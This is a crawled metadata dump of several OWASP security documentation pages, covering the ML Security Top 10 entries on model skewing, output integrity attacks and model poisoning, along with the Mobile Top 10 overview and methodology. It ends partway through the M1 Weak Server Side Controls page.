Skewing", "popis": "ML08:2023 Model Skewing on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML08_2023-Model_Skewing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "ML08:2023 Model Skewing on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten 2023 | ML08:2023 Model Skewing | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML08_2023-Model_Skewing.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ML08:2023 Model Skewing"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1: Financial gain through model skewing"}, {"uroven": 2, "text": "References"}], "markdown": "# ML08:2023 Model Skewing\n\n## Description\n\nModel skewing attacks occur when an attacker manipulates the distribution of the\ntraining data to cause the model to behave in an undesirable way.\n\n## How to Prevent\n\n**Implement robust access controls:** Ensure that only authorized personnel have\naccess to the MLOps system and its feedback loops, and that all activities are\nlogged and audited.\n\n**Verify the authenticity of feedback data:** Use techniques such as digital\nsignatures and checksums to verify that the feedback data received by the system\nis genuine, and reject any data that does not match the expected format.\n\n**Use data validation and cleaning techniques:** Clean and validate the feedback\ndata before using it to update the training data, to minimize the risk of\nincorrect or malicious data being used.\n\n**Implement anomaly detection:** Use techniques such as statistical and machine\nlearning-based methods to detect and alert on anomalies in the feedback data,\nwhich could indicate an attack.\n\n**Regularly monitor the model’s performance:** Continuously monitor the\nperformance of the model, and compare its predictions with actual outcomes to\ndetect any deviation or skewing.\n\n**Continuously train the model:** Regularly retrain the model using updated and\nverified training data, to ensure that it continues to reflect the latest\ninformation and trends.\n\n## Risk Factors\n\n| Threat Agents/Attack Vectors | Security Weakness | Impact |\n| --- | --- | --- |\n| Exploitability: 5 (Easy) \n\n *ML Application Specific: 4* \n The attacker has a clear understanding of the machine learning project and its vulnerabilities. \n\n *ML Operations Specific: 3* \n Manipulation of the training data requires knowledge of the machine learning process. | Detectability: 2 (Difficult) \n\n *The model skewing might not be easily noticeable during the testing phase.* | Technical: 5 (Difficult) \n\n *Manipulation of the training data is a technically complex task.* |\n| Threat Actors: Malicious actors or a third-party with a vested interest in manipulating the outcomes of a model. | Inability of the model to accurately reflect the underlying distribution of the training data. \n This can occur due to factors such as data bias, incorrect sampling of the data, or manipulation of the data or training process by an attacker. | Significant risk which can lead to incorrect decisions being made based on the output of the model. \n This can result in financial loss, damage to reputation, and even harm to individuals if the model is being used for critical applications such as medical diagnosis or criminal justice. |\n\nIt is important to note that this chart is only a sample based on\nthe scenario below only. The actual risk assessment will depend on\nthe specific circumstances of each machine learning system.\n\n## Example Attack Scenarios\n\n### Scenario #1: Financial gain through model skewing\n\nA financial institution is using a machine learning model to predict the\ncreditworthiness of loan applicants, and the model’s predictions are integrated\ninto their loan approval process. An attacker wants to increase their chances of\ngetting a loan approved, so they manipulate the feedback loop in the MLOps\nsystem. The attacker provides fake feedback data to the system, indicating that\nhigh-risk applicants have been approved for loans in the past, and this feedback\nis used to update the model’s training data. As a result, the model’s\npredictions are skewed towards low-risk applicants, and the attacker’s chances\nof getting a loan approved are significantly increased.\n\nThis type of attack can compromise the accuracy and fairness of the model,\nleading to unintended consequences and potential harm to the financial\ninstitution and its customers.\n\n## References\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 3828, "slov": 575, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:46", "sha256": "8814daba86e3e676032d0be957d94d99218c292d524be5b462c34640428f1713", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML09_2023-Output_Integrity_Attack.html", "titulek": "OWASP Machine Learning Security Top Ten 2023 | ML09:2023 Output Integrity Attack | OWASP Foundation", "h1": "ML09:2023 Output Integrity Attack", "popis": "ML09:2023 Output Integrity Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML09_2023-Output_Integrity_Attack", "jazyk": "en", "robots_meta": "", "og": {"og:description": "ML09:2023 Output Integrity Attack on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten 2023 | ML09:2023 Output Integrity Attack | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML09_2023-Output_Integrity_Attack.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ML09:2023 Output Integrity Attack"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1: Modification of patient health records"}, {"uroven": 2, "text": "References"}], "markdown": "# ML09:2023 Output Integrity Attack\n\n## Description\n\nIn an Output Integrity Attack scenario, an attacker aims to modify or manipulate\nthe output of a machine learning model in order to change its behavior or cause\nharm to the system it is used in.\n\n## How to Prevent\n\n**Using cryptographic methods:** Cryptographic methods like digital signatures\nand secure hashes can be used to verify the authenticity of the results.\n\n**Secure communication channels:** Communication channels between the model and\nthe interface responsible for displaying the results should be secured using\nsecure protocols such as SSL/TLS.\n\n**Input Validation:** Input validation should be performed on the results to\ncheck for unexpected or manipulated values.\n\n**Tamper-evident logs:** Maintaining tamper-evident logs of all input and output\ninteractions can help detect and respond to any output integrity attacks.\n\n**Regular software updates:** Regular software updates to fix vulnerabilities\nand security patches can help reduce the risk of output integrity attacks.\n\n**Monitoring and auditing:** Regular monitoring and auditing of the results and\nthe interactions between the model and the interface can help detect any\nsuspicious activities and respond accordingly.\n\n## Risk Factors\n\n| Threat Agents/Attack Vectors | Security Weakness | Impact |\n| --- | --- | --- |\n| Exploitability: 5 (Easy) \n\n *ML Application Specific: 4* \n *ML Operations Specific: 4* | Detectability: 3 (Moderate) | Technical: 3 (Moderate) |\n| Threat Actors: Malicious attackers or insiders who have access to the model’s inputs and outputs. \n Third-party entities who have access to the inputs and outputs and may tamper with them to achieve a certain outcome. | Lack of proper authentication and authorization measures to ensure the integrity of the inputs and outputs. \n\n Inadequate validation and verification of inputs and outputs to prevent tampering. \n\n Insufficient monitoring and logging of inputs and outputs to detect tampering. | Loss of confidence in the model’s predictions and results. \n\n Financial loss or damage to reputation if the model’s predictions are used to make important decisions. \n\n Security risks if the model is used in a critical application such as financial fraud detection or cybersecurity. |\n\nIt is important to note that this chart is only a sample based on\nthe scenario below only. The actual risk assessment will depend on\nthe specific circumstances of each machine learning system.\n\n## Example Attack Scenarios\n\n### Scenario #1: Modification of patient health records\n\nAn attacker has gained access to the output of a machine learning model that is\nbeing used to diagnose diseases in a hospital. The attacker modifies the output\nof the model, making it provide incorrect diagnoses for patients. As a result,\npatients are given incorrect treatments, leading to further harm and potentially\neven death.\n\n## References\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 2981, "slov": 433, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:47", "sha256": "c96dad26fb9c308ed0795ae8c630b40e9c29b4e724ac49f4d172f77414a81c89", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML10_2023-Model_Poisoning.html", "titulek": "OWASP Machine Learning Security Top Ten 2023 | ML10:2023 Model Poisoning | OWASP Foundation", "h1": "ML10:2023 Model Poisoning", "popis": "ML10:2023 Model Poisoning on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML10_2023-Model_Poisoning", "jazyk": "en", "robots_meta": "", "og": {"og:description": "ML10:2023 Model Poisoning on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Machine Learning Security Top Ten 2023 | ML10:2023 Model Poisoning | OWASP Foundation", "og:url": "https://owasp.org/www-project-machine-learning-security-top-10/docs/ML10_2023-Model_Poisoning.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ML10:2023 Model Poisoning"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1: Financial gain through model poisoning"}, {"uroven": 2, "text": "References"}], "markdown": "# ML10:2023 Model Poisoning\n\n## Description\n\nModel poisoning attacks occur when an attacker manipulates the model's\nparameters to cause it to behave in an undesirable way.\n\n## How to Prevent\n\n**Regularisation:** Adding regularisation techniques like L1 or L2\nregularization to the loss function helps to prevent overfitting and reduce the\nchance of model poisoning attacks.\n\n**Robust Model Design:** Designing models with robust architectures and\nactivation functions can help reduce the chances of successful model poisoning\nattacks.\n\n**Cryptographic Techniques:** Cryptographic techniques can be used to secure the\nparameters and weights of the model, and prevent unauthorized access or\nmanipulation of these parameters.\n\n## Risk Factors\n\n| Threat Agents/Attack Vectors | Security Weakness | Impact |\n| --- | --- | --- |\n| Exploitability: 5 (Easy) \n\n *ML Application Specific: 4* \n *ML Operations Specific: 4* | Detectability: 3 (Moderate) | Technical: 3 (Moderate) |\n| Threat Actor: Malicious individuals or organizations with knowledge and resources to manipulate deep learning models. \n Malicious insiders within the organization developing the deep learning model. | Insufficient access controls to the model’s code and parameters. \n\n Lack of proper secure coding practices. \n\n Inadequate monitoring and logging of model’s activity. | Model’s predictions can be manipulated to achieve desired results. \n\nConfidential information within the model can be extracted. \n\n Decisions based on the model’s predictions can be impacted negatively. \n\n Reputation and credibility of the organization can be affected. |\n\nIt is important to note that this chart is only a sample based on\nthe scenario below only. The actual risk assessment will depend on\nthe specific circumstances of each machine learning system.\n\n## Example Attack Scenarios\n\n### Scenario #1: Financial gain through model poisoning\n\nConsider a scenario where a bank is using a machine learning model to identify\nhandwritten characters on cheques to automate their clearing process. The model\nhas been trained on a large dataset of handwritten characters, and it has been\ndesigned to accurately identify the characters based on specific parameters such\nas size, shape, slant, and spacing.\n\nAn attacker who wants to poison a machine learning model may manipulate the\nparameters of the model by altering the images in the training dataset or\ndirectly modifying the parameters in the model. This can result in the model\nbeing reprogrammed to identify characters differently. For example, the attacker\ncould change the parameters so that the model identifies the character “5” as\nthe character “2”, leading to incorrect amounts being processed.\n\nThe attacker can exploit this vulnerability by introducing forged cheques into\nthe clearing process, which the model will process as valid due to the\nmanipulated parameters. This can result in significant financial loss to the\nbank.\n\n## References\n\n---\n\n[Watch](https://github.com/owasp/www-project-machine-learning-security-top-10/subscription) [Star](https://github.com/owasp/www-project-machine-learning-security-top-10)", "znaku_textu": 3035, "slov": 427, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:48", "sha256": "15810aad78d1175f50e07e3c2ec49963b99e012b6dccf9e3de585a4e707eb08d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-machine-learning-security-top-10/subscription", "https://github.com/owasp/www-project-machine-learning-security-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-mobile-security-testing-guide/", "titulek": "Redirecting…", "h1": "Redirecting…", "popis": "", "klicova_slova": "", "kanonicka": "https://owasp.github.io/mas", "jazyk": "en-US", "robots_meta": "noindex", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Redirecting…"}], "markdown": "Redirecting… Redirecting… [Click here if you are not redirected.](https://owasp.github.io/mas)", "znaku_textu": 94, "slov": 9, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:50", "sha256": "fe872154ad5914625343958bd12c2b82292cedb23fce668f4fd31b5522770ccb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.github.io/mas"]} {"url": "https://owasp.org/www-project-mobile-top-10/", "titulek": "OWASP Mobile Top 10 | OWASP Foundation", "h1": "OWASP Mobile Top 10", "popis": "OWASP Mobile Top 10 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Mobile Top 10 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Mobile Top 10 | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Mobile Top 10"}, {"uroven": 1, "text": "Mobile Top 10 2024: Final Release Updates"}, {"uroven": 1, "text": "Top 10 Mobile Risks - Final release 2024"}, {"uroven": 2, "text": "Comparison between 2016 and 2024"}, {"uroven": 2, "text": "Vulnerabilities that didn’t make the place on the initial release list, but in the future, we may consider them."}, {"uroven": 1, "text": "Top 10 Mobile Risks - Final List 2016"}, {"uroven": 1, "text": "Top 10 Mobile Risks - Final List 2014"}, {"uroven": 2, "text": "Acknowledgements"}, {"uroven": 1, "text": "Project Leads"}, {"uroven": 2, "text": "Top Contributors"}, {"uroven": 3, "text": "Past Project Leads"}, {"uroven": 2, "text": "Strategic Roadmap"}, {"uroven": 1, "text": "Wiki Content"}, {"uroven": 1, "text": "Data Contributors"}, {"uroven": 1, "text": "Data"}, {"uroven": 1, "text": "Synthesis"}, {"uroven": 1, "text": "Additional Thanks"}, {"uroven": 1, "text": "OWASP Mobile Top 10 Methodology"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Update History"}, {"uroven": 2, "text": "Methodology"}, {"uroven": 3, "text": "Data Collection"}, {"uroven": 3, "text": "Analysis"}, {"uroven": 3, "text": "Evaluate Sources"}, {"uroven": 3, "text": "Prioritization"}, {"uroven": 3, "text": "Validation"}, {"uroven": 3, "text": "Finalization"}, {"uroven": 2, "text": "Progress Report"}], "markdown": "# OWASP Mobile Top 10\n\n# Mobile Top 10 2024: Final Release Updates\n\nThe new Mobile Top 10 list for 2024 is out now. \nWe would love to see you participate and contribute to the research we are doing.\n **[Join the SLACK Channel](https://app.slack.com/client/T04T40NHX/C02L2BNTBLP)**\n\nIf you face any issues joining us on Slack, please feel free to reach out to Project Leads.\n\nLet’s get started!\n\nJoin us on the Slack channel for contributions!!\n\nMore updates to follow soon…\n\n**Below is the OWASP Mobile Top-10 2024 Release**\n\n# Top 10 Mobile Risks - Final release 2024\n\n- [M1: Improper Credential Usage](/www-project-mobile-top-10/2023-risks/m1-improper-credential-usage.html)\n- [M2: Inadequate Supply Chain Security](/www-project-mobile-top-10/2023-risks/m2-inadequate-supply-chain-security.html)\n- [M3: Insecure Authentication/Authorization](/www-project-mobile-top-10/2023-risks/m3-insecure-authentication-authorization.html)\n- [M4: Insufficient Input/Output Validation](/www-project-mobile-top-10/2023-risks/m4-insufficient-input-output-validation.html)\n- [M5: Insecure Communication](/www-project-mobile-top-10/2023-risks/m5-insecure-communication.html)\n- [M6: Inadequate Privacy Controls](/www-project-mobile-top-10/2023-risks/m6-inadequate-privacy-controls.html)\n- [M7: Insufficient Binary Protections](/www-project-mobile-top-10/2023-risks/m7-insufficient-binary-protection.html)\n- [M8: Security Misconfiguration](/www-project-mobile-top-10/2023-risks/m8-security-misconfiguration.html)\n- [M9: Insecure Data Storage](/www-project-mobile-top-10/2023-risks/m9-insecure-data-storage.html)\n- [M10: Insufficient Cryptography](/www-project-mobile-top-10/2023-risks/m10-insufficient-cryptography.html)\n\n## Comparison between 2016 and 2024\n\n## Vulnerabilities that didn’t make the place on the initial release list, but in the future, we may consider them.\n\n- Data Leakage\n- Hardcoded Secrets\n- Insecure Access Control\n- Path Overwrite and Path Traversal\n- Unprotected Endpoints (Deeplink, Activity, Service …)\n- Unsafe Sharing\n\n# Top 10 Mobile Risks - Final List 2016\n\n- [M1: Improper Platform Usage](2016-risks/m1-improper-platform-usage)\n- [M2: Insecure Data Storage](2016-risks/m2-insecure-data-storage)\n- [M3: Insecure Communication](2016-risks/m3-insecure-communication)\n- [M4: Insecure Authentication](2016-risks/m4-insecure-authentication)\n- [M5: Insufficient Cryptography](2016-risks/m5-insufficient-cryptography)\n- [M6: Insecure Authorization](2016-risks/m6-insecure-authorization)\n- [M7: Client Code Quality](2016-risks/m7-client-code-quality)\n- [M8: Code Tampering](2016-risks/m8-code-tampering)\n- [M9: Reverse Engineering](2016-risks/m9-reverse-engineering)\n- [M10: Extraneous Functionality](2016-risks/m10-extraneous-functionality)\n\n# Top 10 Mobile Risks - Final List 2014\n\n- [M1: Weak Server Side Controls](2014-risks/m1-weak-server-side-controls)\n- [M2: Insecure Data Storage](2014-risks/m2-insecure-data-storage)\n- [M3: Insufficient Transport Layer Protection](2014-risks/m3-insufficient-transport-layer-protection)\n- [M4: Unintended Data Leakage](2014-risks/m4-unintended-data-leakage)\n- [M5: Poor Authorization and Authentication](2014-risks/m5-poor-authorization-and-authentication)\n- [M6: Broken Cryptography](2014-risks/m6-broken-cryptography)\n- [M7: Client Side Injection](2014-risks/m7-client-side-injection)\n- [M8: Security Decisions Via Untrusted Inputs](2014-risks/m8-security-decisions-via-untrusted-inputs)\n- [M9: Improper Session Handling](2014-risks/m9-improper-session-handling)\n- [M10: Lack of Binary Protections](2014-risks/m10-lack-of-binary-protections)\n\n---\n\n## Acknowledgements\n\nThis page is a work in progress. If we have omitted you, or incorrectly affiliated you, please contact us right away.\n\n# Project Leads\n\n- [Milan Singh Thakur](milan@owasp.org)\n- [Alaeddine MESBAHI](mailto:alaeddine.mesbahi@ostorlab.dev)\n- [Kunwar Atul](mailto:kunwar.atul@owasp.org)\n- [Mohamed Benchikh](mailto:mohamed.benchikh@ostorlab.dev)\n\n## Top Contributors\n\n- [Mohammed Junaid Tariq](mailto:imohammedjunaid26@gmail.com)\n- [Steffen Lortz](mailto:steffen.lortz@maibornwolff.de)\n\n### Past Project Leads\n\n- [Jason Haddix - HP Fortify](jason.haddix@owasp.org)\n- [Daniel Miessler - HP Fortify](daniel.meissler@owasp.org)\n- [Jonathan Carter - Arxan Technologies](jonthan.carter@owasp.org)\n\n## Strategic Roadmap\n\n[Strategy Document](https://www.owasp.org/images/f/ff/OWASP_Mobile_Top_Ten_2015_-_Strategy.pdf)\n\n# Wiki Content\n\n- [Milan Singh Thakur](milan@owasp.org)\n- [Chad Butler - Concur Technologies](chad.butler@owasp.org)\n- [Jonathan Carter - Arxan Technologies](jonathan.carter@owasp.org)\n- Ron Gutierrez - Gotham Digital Science\n- [Jason Haddix - HP Fortify](jason.haddix@owasp.org)\n- [Paco Hope - Cigital](paco@owasp.org)\n- Zach Lanier\n- [Daniel Miessler - HP Fortify](daniel.meissler@owasp.org)\n- [Andrew Pannell - Pentest Limited](andrew.pannell@owasp.org)\n- Rahil Parikh - Gotham Digital Science\n- Mike Zuzman\n\n# Data Contributors\n\n- [HP Fortify](http://www8.hp.com/us/en/software-solutions/fortify-on-demand-application-security/mobile-application-security.html)\n- [Andreas Athanasoulias & Syntax IT](https://twitter.com/andresitoath)\n- [Hemil Shah and eSphere Security](http://www.espheresecurity.com/)\n- [Godfrey Nolan and RIIS (Research Into Internet Systems)](http://www.riis.com/)\n- [Arxan Technologies](http://www.arxan.com/)\n- [Cigital](http://www.cigital.com/)\n- [Bugcrowd](http://www.bugcrowd.com/)\n- [Hacklabs](http://www.hacklabs.com/)\n- [IBM X-Force Threat Intelligence](http://www.ibm.com/security/xforce/)\n- [KRVW Associates](http://www.krvw.com/)\n- [MetaIntelli](http://www.metaintelli.com/)\n- [Pure Hacking](http://www.purehacking.com/)\n- [Secure Network](http://www.securenetwork.it/)\n- [Aujas Networks](https://aujas.com/)\n\n# Data\n\nThe 2015 data sets are stored at the below link:\n\n[https://www.dropbox.com/sh/ts32chiqnglqvy4/AADVrJCV96xTsm_sxKILxF0La?dl=0](https://www.dropbox.com/sh/ts32chiqnglqvy4/AADVrJCV96xTsm_sxKILxF0La?dl=0)\n\n# Synthesis\n\nKey observations and trends from the data can be found in here:\n\n- [Synthesis Document](https://www.owasp.org/images/9/96/OWASP_Mobile_Top_Ten_2015_-_Final_Synthesis.pdf)\n\n# Additional Thanks\n\n- Jim Manico\n- Milan Singh Thakur\n\n---\n\n# OWASP Mobile Top 10 Methodology\n\n## Overview\n\nThis methodology report outlines the process we follow to update the OWASP Mobile Top 10 list of application security vulnerabilities using a data-based approach and unbiased sources.\n\nTo achieve this, we collect data from various sources such as incident reports, vulnerability databases, and security assessments, analyze the data, evaluate the sources for reliability and consistency, prioritize the vulnerabilities based on their impact and likelihood of occurrence, validate the results through consultation with experts and stakeholders, and create the final OWASP Top 10 list.\n\nThis report highlights the importance of following a comprehensive and unbiased approach to ensure the list reflects the most common and impactful mobile application security vulnerabilities, which can be used as a reference to improve the security of mobile applications.\n\n## Update History\n\n| Author | Date | Update |\n| :—————- | :——: | —–: |\n| Alaeddine Mesbahi | July 26, 2023 | Initial Release |\n| Kunwar Atul | July 26, 2023 | Initial Release |\n| Mohamed Benchikh | July 26, 2023 | Initial Release |\n| Mohammed Junaid Tariq | July 26, 2023 | Initial Release | \n| Steffen Lortz | July 26, 2023 | Initial Release |\n| Milan Singh Thakur | Aug 02, 2023 | Final Review |\n\n## Methodology\n\n### Data Collection\n\nTo update the OWASP Top 10, we start by collecting data on the most common and impactful mobile application security vulnerabilities. We gather information from various sources such as incident reports, vulnerability databases, and security assessments. It’s essential to collect data from diverse sources to ensure that the data is comprehensive and unbiased. Some of the sources that can be used to collect data include:\n\n- Incident reports from companies, organizations, and government agencies\n- Vulnerability reports from security vendors and researchers\n- Publicly available datasets on mobile application security vulnerabilities\n- Surveys of security professionals or application developers\n\n### Analysis\n\nOnce we have collected the data, the next step is to analyze it. We categorize the vulnerabilities, identify trends, and determine the severity of their impact. To analyze the data, we use statistical methods, data visualization, and machine learning algorithms. Some of the metrics that can be used to analyze the data include:\n\n- Frequency of occurrence\n- Severity of impact\n- Complexity of exploitation\n- Prevalence in specific industries or regions\n\n### Evaluate Sources\n\nTo ensure an unbiased approach, it’s important to evaluate the sources of the data used in the analysis. We evaluate the sources for reliability, consistency, and relevance by:\n\n- Checking the credibility and reputation of the sources\n- Evaluating the quality of the data\n- Verifying the data with multiple sources\n- Checking for potential biases in the data\n\n### Prioritization\n\nOnce we have analyzed the data, we prioritize the vulnerabilities based on their impact and likelihood of occurrence. This involves assigning a risk score to each vulnerability based on the following factors:\n\n- Severity of impact\n- Likelihood of occurrence\n- Difficulty of remediation\n- Prevalence in specific industries or regions\n\n### Validation\n\nTo validate the results, we consult with experts in the field, review existing research and literature, and gather feedback from stakeholders. This can be done through surveys, focus groups, or interviews. Some of the questions we can ask to validate the results include:\n\n- Are the vulnerabilities identified in the list consistent with real-world incidents?\n- Do the vulnerabilities pose a significant threat to mobile applications?\n- Are there any vulnerabilities that are missing from the list?\n- Is the prioritization of the vulnerabilities appropriate?\n\n### Finalization\n\nBased on the analysis, prioritization, and validation, we create the final OWASP Top 10 list. The list includes the most impactful and prevalent mobile application security vulnerabilities, along with information on how to detect and mitigate them. The OWASP Top 10 list can be used as a reference for application developers, security professionals, and auditors to improve the security of their mobile applications.\n\n## Progress Report\n\n| Category | Date | Description |\n|——————-|—————|———————————————————————————————–|\n| Data Collection | Apr 12, 2023 | Collection of vulnerabilities metrics from Public reports on HackerOne, Ostorlab and CVEs. |\n| Alpha Release | Jun 8, 2023 | Alpha version of the OWASP Mobile Top 10 pending feedback and comments. |\n| Beta Release | Jul 2, 2023 | Beta version of the OWASP Mobile Top 10 pending final comments. |\n| Initial Release | Aug 2, 2023 | Official initial release of the OWASP Mobile Top 10. |\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 10810, "slov": 1289, "odkazu": 90, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:56:42", "sha256": "5493971628061d2c7360d4d4b42ec2e4d9c0976462d53f835265d0bbf3739066", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://app.slack.com/client/T04T40NHX/C02L2BNTBLP", "https://www.owasp.org/images/f/ff/OWASP_Mobile_Top_Ten_2015_-_Strategy.pdf", "http://www8.hp.com/us/en/software-solutions/fortify-on-demand-application-security/mobile-application-security.html", "https://twitter.com/andresitoath", "http://www.espheresecurity.com/", "http://www.riis.com/", "http://www.arxan.com/", "http://www.cigital.com/", "http://www.bugcrowd.com/", "http://www.hacklabs.com/", "http://www.ibm.com/security/xforce/", "http://www.krvw.com/", "http://www.metaintelli.com/", "http://www.purehacking.com/", "http://www.securenetwork.it/", "https://aujas.com/", "https://www.dropbox.com/sh/ts32chiqnglqvy4/AADVrJCV96xTsm_sxKILxF0La?dl=0", "https://www.owasp.org/images/9/96/OWASP_Mobile_Top_Ten_2015_-_Final_Synthesis.pdf", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m1-weak-server-side-controls", "titulek": "M1: Weak Server Side Controls | OWASP Foundation", "h1": "M1: Weak Server Side Controls", "popis": "M1: Weak Server Side Controls on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2014-risks/m1-weak-server-side-controls", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M1: Weak Server Side Controls on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M1: Weak Server Side Controls | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m1-weak-server-side-controls.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M1: Weak Server Side Controls"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Weak Server Side Controls’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Weak Server Side Controls’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M1: Weak Server Side Controls\n\n# Threat Agents\n\n**Application Specific**\n\nThreat agents include any entity that acts as a source of untrustworthy input to a backend API service, web service, or traditional web server application. Examples of such entities include: a user, malware, or a vulnerable app on the mobile device.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nThe attack vectors correspond to the same attack vectors available through the traditional OWASP Top Ten.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability AVERAGE**\n\nIn order for this vulnerability to be exploited, the organization must expose a web service or API call that is consumed by the mobile app. The exposed service or API 